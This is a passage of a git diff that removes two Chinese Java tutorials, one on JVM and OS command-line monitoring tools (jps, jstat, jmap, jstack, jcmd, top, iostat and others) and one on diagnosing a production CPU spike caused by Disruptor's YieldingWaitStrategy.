-引用链接:[https://segmentfault.com/a/1190000023251649](https://segmentfault.com/a/1190000023251649) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/jvm/console-tools.md b/docs/src/jvm/console-tools.md deleted file mode 100644 index 7e6e4a5487..0000000000 --- a/docs/src/jvm/console-tools.md +++ /dev/null @@ -1,482 +0,0 @@ ---- -title: JVM 性能监控工具之命令行篇 -shortTitle: JVM 性能监控之命令行篇 -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,Java问题诊断和排查工具(查看JVM参数、内存使用情况及分析) -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,性能监控,命令行工具 ---- - - -记得 2014 年我在写大宗期货交易平台的时候,遇到了一些棘手的问题,可能是因为我的并发编程知识掌握的不够扎实,导致出现了内存泄漏的问题。 - -当时排查了好久,用的工具就是 JDK 自带的 jconsole,之前也没有过类似的性能监控经验,就导致在查找问题的时候非常痛苦,至今印象深刻。 - -那今天我们就从工具篇出发,来看看这些命令行工具的具体使用方法,以及如何排查问题。 - -## JDK 性能监控工具 - -除了我们的老朋友 java 和 javac 命令,在 Java 的 bin 目录下,还有很多其他的命令行工具,比如说用于性能监控的 jps、jstat、jinfo、jmap、jstack、jcmd 等等。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106163547.png) - -我用的 macOS,Windows 用户看到的可能是带有 .exe 结尾的,但是功能都是一样的,我就不再刻意去截图了。 - -接下来,我来给大家一一介绍一下这些工具的用途,认个脸熟。 - -### jps:查看虚拟机进程 - -jps(Java Virtual Machine Process Status Tool)类似 Linux 下的 ps,用于快速查看哪些 Java 应用正在运行,以及它们的进程 ID,这对于进一步使用其他 JVM 工具进行诊断是必要的。 - -jps 命令格式: - -``` -jps [ options ] [ hostid ]  -``` - -jps 命令示例: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106165017.png) - -①、注意看第三个进程正是我本地运行着的[技术派](https://paicoding.com/)实战项目,一个前后端分离的 Spring Boot+React 的社区项目,帮助不少球友拿到了心仪的校招 Offer。 - -②、pid 是什么?pid 是进程 ID,是操作系统分配给进程的唯一标识符,可以用来查看进程的详细信息。 - -通常情况下,我们关闭一个进程可以通过右上角的 X 号来完成,但有了 pid,我们可以直接在命令行通过 kill 命令来关闭进程,比如: - -``` -kill -9 pid -``` - -意思是强制关闭 pid 对应的进程,新手可千万别在生产环境下乱 kill 哈(😂)。 - -再来看一下 jps 的常用选项: - -| 选项列表 | 描述 | -| -------- | ----------------------------------------------- | -| \-q | 只输出进程 ID,忽略主类信息 | -| \-l | 输出主类全名,或者执行 JAR 包则输出路径 | -| \-m | 输出虚拟机进程启动时传递给主类 main() 方法的参数 | -| \-v | 输出虚拟机进程启动时的 JVM 参数 | - -### jstat:查看 JVM 运行时信息 - -jstat(Java Virtual Machine Statistics Monitoring Tool)用于监控 JVM 的各种[运行时状态](https://javabetter.cn/jvm/neicun-jiegou.html)信息,提供有关垃圾回收、类加载、JIT 编译等运行数据。 - -jstat 命令格式为: - -``` -jstat [ option vmid [interval[s|ms] [count]] ] -``` - -选项 option 主要分为三类:类加载、垃圾收集、运行期编译状况。 - -①、`-class`:监视类装载、卸载数量、总空间以及类装载所耗费的时间。 - -如下命令 `jstat -class -t 75952 1000 2` 会输出进程 75952 的类装载信息,每秒统计一次,一共输出两次。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106170039.png) - -- Loaded:加载的类的数量。 -- Bytes:所有加载类占用的空间大小。 -- Unloaded:卸载的类的数量。 -- Time:类加载器所花费的时间。 - -②、`-gc`:监视 [Java 堆](https://javabetter.cn/jvm/whereis-the-object.html)状况,包括 Eden 区、2 个 Survivor 区、老年代等容量、已用空间、GC 时间合计等信息。 - -如下命令 `jstat -gc 75952 1000 2` 会输出进程 75952 的 GC 信息,每秒统计一次,一共输出两次。结果比较多,我就截断折叠了一下,方便大家查看。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106171134.png) - -- S0C, S1C, S0U, S1U:Survivor 区的大小和使用情况,一个 From 一个 To,C 为当前大小(Current),U 为已使用大小(Used)。 -- EC, EU:Eden 区的大小和使用情况。 -- OC, OU:老年代(Old)的大小和使用情况。 -- MC, MU:元空间(Metaspace)的大小和使用情况。 -- GC,GCC:GC 表示垃圾回收器进行 Minor GC(年轻代垃圾回收)的累计次数和总时间;GCC 表示垃圾回收器进行 Major GC(老年代垃圾回收,也称为 Full GC)的累计次数和总时间。 - - -③、`-compiler`:监视 JIT 编译器编译过的方法、耗时等信息。 - -- Compiled:编译的方法数量。 -- Failed:编译失败的方法数量。 -- Invalid:失效的编译方法数量。 -- Time:编译所花费的时间。 - -如下命令 `jstat -compiler 75952 1000 2` 会输出进程 75952 的编译信息,每秒统计一次,一共输出两次。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106172207.png) - -好,我们再来总结一下 jstat 的主要选项,见下表: - -| **选项列表** | **描述** | -| ------------------ | ---------------------------------------------------------------------------------------------------------------------------- | -| \-class | 监视类加载、卸载数量、总空间以及类装载所耗费时长 | -| \-gc | 监视 Java 堆情况,包括 Eden 区、2 个 Survivor 区、老年代、元空间等,容量、已用空间、垃圾收集时间合计等信息 | -| \-gccapacity | 监视内容与-gc 基本一致,但输出主要关注 Java 堆各个区域使用到的最大、最小空间 | -| \-gcutil | 监视内容与-gc 基本相同,但输出主要关注已使用空间占总空间的百分比 | -| \-gccause | 与 -gcutil 功能一样,但是会额外输出导致上一次垃圾收集产生的原因 | -| \-gcnew | 监视新生代垃圾收集情况 | -| \-gcnewcapacity | 监视内容与 -gcnew 基本相同,输出主要关注使用到的最大、最小空间 | -| \-gcold | 监视老年代垃圾收集情况 | -| \-gcoldcapacity | 监视内容与 -gcold 基本相同,输出主要关注使用到的最大、最小空间 | -| \-compiler | 输出即时编译器编译过的方法、耗时等信息 | -| \-printcompilation | 输出已经被即时编译的方法 | - -### jinfo:查看虚拟机配置 - -jinfo(Configuration Info for Java)用于在补重启应用的情况下,调整虚拟机的各项参数,或者输出 Java 进程的详细信息。 - -jinfo 命令格式: - -``` -jinfo [ option ] pid -``` - -如下命令 `jinfo -flags 88952` 会输出进程 88952 的 JVM 参数信息。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106174007.png) - -不过很遗憾的是,我的 macOS 系统上,jinfo 命令无法执行成功,后来经过各种实验找到了解决办法。 - -可能的原因是,我的 macOS 上装了太多的 JDK 版本,导致 Intellij IDEA 中编译的 JDK 和 jinfo 的版本不一致。 - -那怎么解决呢? - -尝试方案 1:用相同的 JDK 版本编译运行 Java 程序,并使用相同的 JDK 的 jinfo 来查看。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106182926.png) - -结果依然报错,可能的原因是 JDK 版本过旧。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106183019.png) - -尝试方案 2: 用 JDK 11 来测试,代码用 JDK 11 编译和运行。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106183211.png) - -然后用 JDK 11 的 jinfo 来查看,成功了。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106183617.png) - -再试一下 `jinfo -flags 10025` 命令,也 OK。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106183731.png) - -之所以把这个问题的解决思路同步上来,也是希望能给[球友们](https://javabetter.cn/zhishixingqiu/)提供一些日常遇到开发问题时的解决思路。 - -### jmap:导出堆快照 - -jmap 命令用于生成堆转储快照(一般称为 heap dump 或 dump 文件)。堆转储包含了 [JVM 堆](https://javabetter.cn/jvm/neicun-jiegou.html)中所有对象的信息,包括类、属性、引用等。这对于分析内存泄漏和优化内存使用非常有帮助。 - -当然了,jmap 的作用不局限于此,它还可以查看堆的空间使用率、当前用的是哪种[垃圾收集器](https://javabetter.cn/jvm/gc-collector.html)等。 - -jmap 命令格式: - -``` -jmap [ option ] vmid -``` - -如下命令 `jmap -histo 10025` 会输出进程 10025 的堆内存中所有对象的数量和占用内存大小的汇总信息,按照内存使用量排序。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106185906.png) - -如下命令 `jmap -dump:format=b,file=heap.hprof 10025` 会输出进程 10025 的堆快照信息,保存到文件 heap.hprof 中。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106184317.png) - -简单解释一下这条命令: - -- format:文件格式,这里是 b,表示二进制格式。 -- file:文件名。 - -那么,我们可以用什么工具来打开这个文件呢?后面会讲。我们先来看一下 jmap 的主要选项: - -| **选项** | **描述** | -| --------------- | -------------------------------------------------------------------------- | -| \-dump | 生成 Java 堆转储快照。 | -| \-finalizerinfo | 显示在 F-Queue 中等待 Finalizer 线程执行 finalize 方法的对象。Linux 平台 | -| \-heap | 显示 Java 堆详细信息,比如:用了哪种回收器、参数配置、分代情况。Linux 平台 | -| \-histo | 显示堆中对象统计信息,包括类、实例数量、合计容量 | -| \-F | 当虚拟机进程对 -dump 选项没有响应式,可以强制生成快照。Linux 平台 | - -### jstack:跟踪Java堆栈 - -jstack 用于打印出 JVM 中某个进程或远程调试服务的线程堆栈信息(一般称为 threaddump 或者 javacore 文件)。它常用于诊断应用程序中的线程问题,比如线程死锁、死循环或长时间等待。 - -jstack 命令格式: - -``` -jstack [ option ] vmid -``` - -如下 `jstack -l 10025` 会输出进程 10025 的线程堆栈信息,包括锁信息。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106191343.png) - - -jstack 工具主要选项: - -| **选项** | **描述** | -| -------- | ---------------------------------------------- | -| \-F | 当正常输出的请求不被响应时,强制输出线程堆栈 | -| \-l | 除了堆栈外,显示关于锁的附加信息 | -| \-m | 如果调用的是本地方法的话,可以显示 c/c++的堆栈 | - -我们来通过一个线程死锁的问题,来看一下 jstack 的使用方法。 - -首先,我们编写一个死锁的程序: - -```java -class DeadLockDemo { - private static final Object lock1 = new Object(); - private static final Object lock2 = new Object(); - - public static void main(String[] args) { - new Thread(() -> { - synchronized (lock1) { - System.out.println("线程1获取到了锁1"); - try { - Thread.sleep(1000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - synchronized (lock2) { - System.out.println("线程1获取到了锁2"); - } - } - }).start(); - - new Thread(() -> { - synchronized (lock2) { - System.out.println("线程2获取到了锁2"); - try { - Thread.sleep(1000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - synchronized (lock1) { - System.out.println("线程2获取到了锁1"); - } - } - }).start(); - } -} -``` - -我们创建了两个线程,每个线程都试图按照不同的顺序获取两个[锁(lock1 和 lock2)](https://javabetter.cn/thread/thread-bring-some-problem.html#%E6%B4%BB%E8%B7%83%E6%80%A7%E9%97%AE%E9%A2%98)。这种锁的获取顺序不一致很容易导致死锁。 - -运行这段代码,果然卡住了。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106192010.png) - -运行 `jstack pid` 命令,可以看到死锁的线程信息。诚不欺我! - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106192123.png) - -### jcmd:多功能命令 - -jcmd 是一个多功能命令,可以用于收集堆转储、生成 JVM 和 Java 应用程序的性能数据,以及动态更改某些 Java 运行时参数。jcmd 提供的功能比其他单一命令,如 jstack, jmap, jstat 都要强大。 - -例如,使用 `jcmd -l` 列出当前的所有 Java 应用,和 jps 类似: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106205012.png) - -例如,使用 `jcmd 10025 help` 查看进程 10025 支持的命令: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106210117.png) - -例如,使用 `jcmd 10025 VM.flags` 查看进程 10025 的 JVM 参数,相当于 `jinfo -flags 10025`: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106210235.png) - -例如,使用 `jcmd 10025 Thread.print` 查看进程 10025 的线程信息,相当于 `jstack 10025`: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106210358.png) - -jmcd 命令格式: - -``` - jcmd   -``` - -jmcd 的主要选项: - -|选项|描述 |补充| -| --- | ----------- |---| -| help | 打印帮助信息,示例:jcmd help \[\] | 无| -|ManagementAgent.stop|停止 JMX Agent|无| -ManagementAgent.start_local|开启本地 JMX Agent|无| -|ManagementAgent.start|开启 JMX Agent|无| -|Thread.print|参数-l 打印 java.util.concurrent 锁信息,相当于:jstack|无| -|PerfCounter.print|相当于:jstat -J-Djstat.showUnsupported=true -snap|无| -|GC.class_histogram|相当于:jmap -histo|无| -|GC.heap_dump|相当于:jmap -dump:format=b,file=xxx.bin|无| -|GC.run_finalization|相当于:System.runFinalization()|无| -|GC.run|相当于:System.gc()|无| -|VM.uptime|参数-date 打印当前时间,VM 启动到现在的时候,以秒为单位显示|无| -|VM.flags|参数-all 输出全部,相当于:jinfo -flags , jinfo -flag|无| -|VM.system_properties|相当于:jinfo -sysprops|无| -|VM.command_line|相当于:jinfo -sysprops|grep command| -|VM.version|相当于:jinfo -sysprops|grep version| - -## 操作系统工具 - -除了 JDK 自带的命令行,我们很多时候还要使用操作系统为我们提供的命令行工具,来完成性能监控的监测。 - -比如说 top、vmstat、iostat、netstat 等等。 - -### top:显示系统整体资源使用情况 - -top 命令用于实时显示系统中各个进程的资源占用情况,如 CPU 和内存使用率。常用于快速查看哪些进程占用了较高的资源。 - -该命令的输出结果是实时变化的,可以使用 `ctrl + c` 来退出。下图是我的 macOS 上输出的结果: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106210830.png) - -top 命令的输出可以分为两个部分:前半部分是系统统计信息,后半部分是进程信息。 - -#### 统计信息 - -统计信息是针对整个系统的,主要包括系统负载、CPU 使用率、内存使用情况、虚拟内存使用情况、网络和硬盘使用情况等。 - -- 第 1 行是进程和线程信息,分别表示总进程数、正在运行的进程数、睡眠的进程数、线程数。 -- 第 2 行是负载均衡和 CPU 使用率信息,`Load Avg: 4.02, 3.89, 3.29`:这表示过去 1 分钟、5 分钟和 15 分钟的平均系统负载。负载大于 3 意味着系统相对繁忙;`CPU usage: 6.97% user, 3.54% sys, 89.47% idle`:用户占用了 6.97% 的 CPU,系统占用了 3.54%,还有 89.47% 的 CPU 处于空闲。 -- 第 3 行是共享库(Shared Libraries)内存使用的信息。这一行的数据主要涉及到操作系统加载的共享库(如动态链接库或共享对象文件)。 -- 第 4 行是内存区域(Memory Regions)的使用信息。内存区域是指操作系统为应用程序和进程分配的内存块。每个内存区域都有特定的用途和属性,比如代码、数据、堆、栈等。这一行的数据提供了系统内存使用的更详细的视图。 -- 第 5 行是内存使用情况,`PhysMem: 30G used (3018M wired), 1547M unused`:内存总共使用了 30GB,还有大约 1547MB 的内存未使用; -- 第 6 行是虚拟内存的信息,虚拟内存是计算机内存管理的一种技术,它为每个程序提供一种“虚拟”的地址空间,这些地址空间对于每个程序来说都是连续的,但实际上可能分散在物理内存和磁盘的交换空间(swap space)上。 -- 第 7 行是网络和硬盘信息,`Networks: packets: 22655692/19G in, 19180791/11G out`:网络接收了 19GB 的数据包;发送了约 11GB 的数据包;`Disks: 14866544/288G read, 15176739/251G written`:硬盘读取 14866544 次;写入了约 15176739 次。 - -#### 进程信息 - -在进程信息区中,显示了系统各个进程的资源使用情况。主要字段的含义: - -- PID:进程 id -- COMMAND:命令名/命令行 -- %CPU:进程占用的 CPU 使用率 -- TIME:进程使用的 CPU 时间总计,单位 1/100 秒 -- MEM:进程使用的物理内存和虚拟内存大小,单位 KB - -Windows 用户可以使用 tasklist 命令来查看进程信息。 - -### vmstat:监控内存和 CPU - -vmstat 是 Linux 上的一款功能比较齐全的性能监测工具。它可以统计 CPU、内存、swap 的使用情况。 - -一般 vmstat 工具的使用是通过两个数字参数来完成的,第一个参数是采样的时间间隔数,单位是秒,第二个参数是采样的次数,如: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106213508.png) - -`vmstat 1 3` 命令表示每秒采样一次,共三次。 - -输出的各个列的含义: - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106214547.png) - -vmstat 的用法如下: - -``` -vmstat [options] [delay [count]] -``` - -vmstat 的主要选项: - -- `[options]`:提供不同的输出选项,例如 -a 显示活跃和非活跃内存,-d 显示磁盘统计,-s 显示内存统计等。 -- `[delay]`:在连续模式下,两次报告之间的延迟时间(秒)。 -- `[count]`:要显示的报告数量。 - -### iostat:监控 IO 使用 - -iostat 用于统计 CPU 使用信息和磁盘的 IO 信息。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106214958.png) - -基本用法如下: - -``` -iostat [options] [interval [count]] -``` - -- `[options]`:提供不同的输出选项。例如,-c 显示 CPU 使用情况,-d 显示磁盘使用情况,-x 显示扩展统计信息等。 -- `[interval]`:报告之间的延迟时间(秒)。 -- `[count]`:显示报告的次数。 - -`iostat` 的输出包括两个主要部分: - -1. **CPU 使用情况**: - - `user`:用户程序使用的 CPU 时间百分比。 - - `system`:系统(内核)级程序使用的 CPU 时间百分比。 - - `idle`:CPU 空闲时间百分比。 - -2. **磁盘 I/O 统计**: - - `tps`(Transfers Per Second):每秒传输次数。 - - `kB_read/s`:每秒读取的千字节数。 - - `kB_wrtn/s`:每秒写入的千字节数。 - - `kB_read` 和 `kB_wrtn`:分别是读取和写入的总千字节数。 - - 如果使用 `-x` 选项,会显示更详细的统计信息,例如: - - - `%util`:表示磁盘的繁忙程度。 - - `await`:I/O 请求的平均等待时间(毫秒)。 - - `svctm`:服务时间,即完成一个 I/O 请求所需的平均时间。 - -使用示例如下: - -①、查看 CPU 和所有磁盘设备的基本 I/O 统计信息: - -```shell -iostat -``` -②、查看磁盘 I/O 统计信息,每 2 秒更新一次: - -```shell -iostat -dx 2 -``` - -③、只查看 CPU 使用情况: - -```shell -iostat -c -``` - -### netstat:监控网络使用 - -`netstat`(network statistics)用于监控和显示网络相关信息。基本用法如下: - -```shell -netstat [options] -``` - -- `[options]`:提供不同的输出选项。常见的选项包括 `-a`(显示所有连接和侦听端口),`-t`(显示 TCP 连接),`-u`(显示 UDP 连接),`-n`(以数字形式显示地址和端口号),`-r`(显示路由表)等。 - -![](https://cdn.paicoding.com/stutymore/console-tools-20240106220045.png) - -`netstat` 的输出通常包括以下几个方面的信息: - -①、**网络连接**:显示活动的或监听的套接字连接,包括服务名、本地地址和端口、远程地址和端口、连接状态等。 - -②、**路由表**:显示网络路由表,包括目的地址、网关、子网掩码、使用的接口等。 - -## 小结 - -今天我们介绍了 JDK 自带的性能监控工具,以及操作系统提供的一些命令行工具。 - -这些工具在排查问题时非常有用,希望大家一定要掌握,以备不时之需。 - -## 参考 - -- 星球嘉宾三分恶:[JVM性能监控命令行篇](https://mp.weixin.qq.com/s/b2ET5uDD-w74d-CnVLinwg) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/jvm/cpu-percent-100.md b/docs/src/jvm/cpu-percent-100.md deleted file mode 100644 index e94bbb2077..0000000000 --- a/docs/src/jvm/cpu-percent-100.md +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: 一次生产环境中 CPU 占用 100% 排查优化实践 -shortTitle: CPU 100%排查优化实战 -category: - - Java核心 -tag: - - Java虚拟机 -description: 本文介绍了一次生产环境中 CPU 占用 100% 排查优化实践。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,cpu ---- - - -前面给大家讲过一次 [OOM 的优化排查实战](https://javabetter.cn/jvm/oom.html),今天再给大家讲一个 CPU 100% 优化排查实战。 - -收到运维同学的报警,说某些服务器负载非常高,让我们开发定位问题。拿到问题后先去服务器上看了看,发现运行的只有我们的 Java 应用程序。于是先用 `ps` 命令拿到了应用的 `PID`。 - ->ps:查看进程的命令;PID:进程 ID。`ps -ef | grep java` 可以查看所有的 Java 进程。前面也曾讲过。 - -接着使用 `top -Hp pid` 将这个进程的线程显示出来。输入大写 P 可以将线程按照 CPU 使用比例排序,于是得到以下结果。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-e9b35104-fce9-40ea-ae91-8bbb7fd8aa96.jpg) - -果然,某些线程的 CPU 使用率非常高,99.9% 可不是非常高嘛(😂)。 - -为了方便问题定位,我立马使用 `jstack pid > pid.log` 将线程栈 `dump` 到日志文件中。关于 [jstack](https://javabetter.cn/jvm/console-tools.html) 命令,我们前面刚刚讲过。 - -我在上面 99.9% 的线程中随机选了一个 `pid=194283` 的,转换为 16 进制(2f6eb)后在线程快照中查询: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-f8b051d5-f28d-481e-a0b2-e97151797e3b.jpg) - -> 线程快照中线程 ID 都是16进制的。 - -发现这是 `Disruptor` 的一个堆栈,好家伙,这不前面刚遇到过嘛,老熟人啊, [强如 Disruptor 也发生内存溢出?](https://javabetter.cn/jvm/oom.html) - -真没想到,再来一次! - -为了更加直观的查看线程的状态,我将快照信息上传到了专门的分析平台上:[http://fastthread.io/](http://fastthread.io/),估计有球友用过。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-d6c9bc1c-9600-47f2-9ff1-d0c9bd8ef849.jpg) - -其中有一项展示了所有消耗 CPU 的线程,我仔细看了下,发现几乎都和上面的堆栈一样。 - -也就是说,都是 `Disruptor` 队列的堆栈,都在执行 `java.lang.Thread.yield`。 - -众所周知,`yield` 方法会暗示当前线程让出 `CPU` 资源,让其他线程来竞争([多线程](https://javabetter.cn/thread/wangzhe-thread.html)的时候我们讲过 yield,相信大家还有印象)。 - -根据刚才的线程快照发现,处于 `RUNNABLE` 状态并且都在执行 `yield` 的线程大概有 30几个。 - -初步判断,大量线程执行 `yield` 之后,在互相竞争导致 CPU 使用率增高,通过对堆栈的分析可以发现,确实和 `Disruptor` 有关。 - -好家伙,又是它。 - -既然如此,我们来大致看一下 `Disruptor` 的使用方式吧。看有多少球友使用过。 - -第一步,在 pom.xml 文件中引入 `Disruptor` 的依赖: - -```xml - - com.lmax - disruptor - 3.4.2 - -``` - -第二步,定义事件 LongEvent: - -```java -public static class LongEvent { - private long value; - - public void set(long value) { - this.value = value; - } - - @Override - public String toString() { - return "LongEvent{value=" + value + '}'; - } -} -``` - -第三步,定义事件工厂: - -```java -// 定义事件工厂 -public static class LongEventFactory implements EventFactory { - @Override - public LongEvent newInstance() { - return new LongEvent(); - } -} -``` - -第四步,定义事件处理器: - -```java -// 定义事件处理器 -public static class LongEventHandler implements EventHandler { - @Override - public void onEvent(LongEvent event, long sequence, boolean endOfBatch) { - System.out.println("Event: " + event); - } -} -``` - -第五步,定义事件发布者: - -```java -public static void main(String[] args) throws InterruptedException { - // 指定 Ring Buffer 的大小 - int bufferSize = 1024; - - // 构建 Disruptor - Disruptor disruptor = new Disruptor<>( - new LongEventFactory(), - bufferSize, - Executors.defaultThreadFactory()); - - // 连接事件处理器 - disruptor.handleEventsWith(new LongEventHandler()); - - // 启动 Disruptor - disruptor.start(); - - // 获取 Ring Buffer - RingBuffer ringBuffer = disruptor.getRingBuffer(); - - // 生产事件 - ByteBuffer bb = ByteBuffer.allocate(8); - for (long l = 0; l < 100; l++) { - bb.putLong(0, l); - ringBuffer.publishEvent((event, sequence, buffer) -> event.set(buffer.getLong(0)), bb); - Thread.sleep(1000); - } - - // 关闭 Disruptor - disruptor.shutdown(); -} -``` - -简单解释下: - -- LongEvent:这是要通过 Disruptor 传递的数据或事件。 -- LongEventFactory:用于创建事件对象的工厂类。 -- LongEventHandler:事件处理器,定义了如何处理事件。 -- Disruptor 构建:创建了一个 Disruptor 实例,指定了事件工厂、缓冲区大小和线程工厂。 -- 事件发布:示例中演示了如何发布事件到 Ring Buffer。 - -大家可以运行看一下输出结果。 - -## 解决问题 - -我查了下代码,发现每一个业务场景在内部都会使用 2 个 `Disruptor` 队列来解耦。 - -假设现在有 7 个业务,那就等于创建了 `2*7=14` 个 `Disruptor` 队列,同时每个队列有一个消费者,也就是总共有 14 个消费者(生产环境更多)。 - -同时发现配置的消费等待策略为 `YieldingWaitStrategy`,这种等待策略会执行 yield 来让出 CPU。代码如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-49840c0d-2c10-4bcb-80c6-1df7553ddb6c.jpg) - -初步来看,和等待策略有很大的关系。 - -### 本地模拟 - -为了验证,我在本地创建了 15 个 `Disruptor` 队列,同时结合监控观察 CPU 的使用情况。 - -注意看代码 YieldingWaitStrategy: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-7f3b2fa6-6505-4b67-9f42-0170a236832b.jpg) - -以及事件处理器: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-d597089d-54e0-49ef-a0f9-41798e84de48.jpg) - -创建了 15 个 `Disruptor` 队列,同时每个队列都用线程池来往 `Disruptor队列` 里面发送 100W 条数据。消费程序仅仅只是打印一下。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-97b88b4d-2d81-47ab-9beb-830ac122c282.jpg) - -跑了一段时间,发现 CPU 使用率确实很高。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-c0ee1da2-29af-4581-b0d8-97f6250401e7.jpg) - -同时 `dump` 线程发现和生产环境中的现象也是一致的:消费线程都处于 `RUNNABLE` 状态,同时都在执行 `yield`。 - -通过查询 `Disruptor` 官方文档发现: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-de904a90-8b59-4333-82f5-9ec94a6525a0.jpg) - -YieldingWaitStrategy 是一种充分压榨 CPU 的策略,使用`自旋 + yield`的方式来提高性能。当消费线程(Event Handler threads)的数量小于 CPU 核心数时推荐使用该策略。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-3faf6f7e-0d2c-4cfe-8e3a-07e15601485d.jpg) - -同时查到其他的等待策略,比如说 `BlockingWaitStrategy` (也是默认的策略),使用的是[锁](https://javabetter.cn/thread/lock.html)的机制,对 CPU 的使用率不高。 - -于是我将等待策略调整为 `BlockingWaitStrategy`。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-12912ce3-a702-4bb2-a19b-816c22f7d43a.jpg) - -运行后的结果如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-b4aad83e-af9d-48fc-bcd0-ad2a42588179.jpg) - -和刚才的结果对比,发现 CPU 的使用率有明显的降低;同时 dump 线程后,发现大部分线程都处于 waiting 状态。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-56dc1513-8f10-422f-bb2a-ae5dcfb8413f.jpg) - -### 优化解决 - -看样子,将等待策略换为 `BlockingWaitStrategy` 可以减缓 CPU 的使用,不过我留意到官方对 `YieldingWaitStrategy` 的描述是这样的: -当消费线程(Event Handler threads)的数量小于 CPU 核心数时推荐使用该策略。 - -而现在的使用场景是,消费线程数已经大大的超过了核心 CPU 数,因为我的使用方式是一个 `Disruptor` 队列一个消费者,所以我将队列调整为 1 个又试了试(策略依然是 `YieldingWaitStrategy`)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-b1cbc2c2-828a-46e8-ba14-86cd0fa660c6.jpg) - -查看运行效果: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/cpu-percent-100-f8fb7682-a61a-407d-923c-890a16bce109.jpg) - -跑了一分钟,发现 CPU 的使用率一直都比较平稳。 - -## 小结 - -排查到此,可以得出结论了,想要根本解决这个问题需要将我们现有的业务拆分;现在是一个应用里同时处理了 N 个业务,每个业务都会使用好几个 `Disruptor` 队列。 - -由于在一台服务器上运行,所以就会导致 CPU 的使用率居高不下。 - -由于是老系统,所以我们的调整方式如下: - -- 先将等待策略调整为 `BlockingWaitStrategy`,可以有效降低 CPU 的使用率(业务上也还能接受)。 -- 第二步就需要将应用拆分,一个应用处理一种业务类型;然后分别部署,这样可以互相隔离互不影响。 - -当然还有一些其他的优化,比如说这次 dump 发现应用程序创建了 800+ 个线程。创建线程池的方式也是核心线程数和最大线程数一样,就导致一些空闲的线程得不到回收。应该将创建线程池的方式调整一下,将线程数降下来,尽量物尽其用。 - -好,生产环境中,一般也就是会遇到 OOM 和 CPU 这两个问题,那也希望这种排查思路能够给大家一些启发~ - ->- 演示代码已上传至 GitHub:[https://github.com/crossoverJie/JCSprout](https://github.com/crossoverJie/JCSprout/tree/master/src/main/java/com/crossoverjie/disruptor) ->- 参考链接:crossoverJie 的[CPU 100% 排查](https://github.com/crossoverJie/JCSprout/blob/master/docs/jvm/cpu-percent-100.md) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 